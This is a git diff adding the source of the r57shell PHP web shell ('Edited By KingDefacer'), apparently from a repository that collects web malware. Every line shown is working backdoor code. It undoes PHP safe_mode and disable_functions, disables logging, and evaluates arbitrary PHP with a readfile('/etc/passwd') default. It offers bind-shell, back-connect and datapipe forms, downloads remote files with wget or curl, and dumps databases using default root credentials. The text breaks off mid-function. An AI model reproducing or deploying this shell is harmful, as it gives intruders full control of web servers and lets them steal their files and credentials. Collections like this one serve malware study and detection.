sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font; +echo "<div align=center><textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text77']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option><option>Oracle</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></table>"; +} +?> diff --git a/web-malware-collection-master/Backdoors/PHP/r57shell1.40.txt b/web-malware-collection-master/Backdoors/PHP/r57shell1.40.txt new file mode 100755 index 0000000..d4f50e7 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57shell1.40.txt @@ -0,0 +1,3302 @@ +<? + +$language='eng'; + +$auth = 0; + +$name='8cd59f852a590eb0565c98356ecb0b84'; +$pass='8cd59f852a590eb0565c98356ecb0b84'; + +error_reporting(0); + +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); + +if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;}; + +define("starttime",@getmicrotime()); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;}; +$version = '1.40'; +if(@version_compare(@phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="HELLO!"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b>Access Denied</b>"); + } +} +$head = ' +<html> +<head> +<title>r57Shell Edited By KingDefacer</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #000000; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #000000; +} +.table1 { +BORDER: 0px; +BACKGROUND-COLOR: #D4D0C8; +color: #000000; +} +.td1 { +BORDER: 0px; +font: 7pt Verdana; +color: #000000; +} +.tr1 { +BORDER: 0px; +color: #000000; +} +table { +BORDER: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +color: #000000; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +color: #000000; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +color: #000000;; +} +submit { +BORDER: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +color: #000000; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +color: #000000; +} +BODY { +margin: 1px; +color: #000000; +background-color: #e4e0d8; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} + + +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} + +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } + +function moreread($temp){ +global $lang,$language; +$str=''; + if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){ + $ffile = @fopen($temp, "r"); + while(!@feof($ffile)){$str .= @fgets($ffile);} + fclose($ffile); + }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){ + $ffile = @fopen($temp, "r"); + $str = @fread($ffile, @filesize($temp)); + @fclose($ffile); + }elseif(@function_exists('file')){ + $ffiles = @file ($temp); + foreach ($ffiles as $ffile) { $str .= $ffile; } + }elseif(@function_exists('file_get_contents')){ + $str = @file_get_contents($temp); + }elseif(@function_exists('readfile')){ + $str = @readfile($temp); + }else{echo $lang[$language.'_text56'];} +return $str; +} + +function readzlib($filename,$temp=''){ +global $lang,$language; +$str=''; + if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");}; + if(@copy("compress.zlib://".$filename, $temp)) { + $str = moreread($temp); + } else echo $lang[$language.'_text119']; + @unlink($temp); +return $str; +} + +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!@function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!@function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!@function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!@function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + 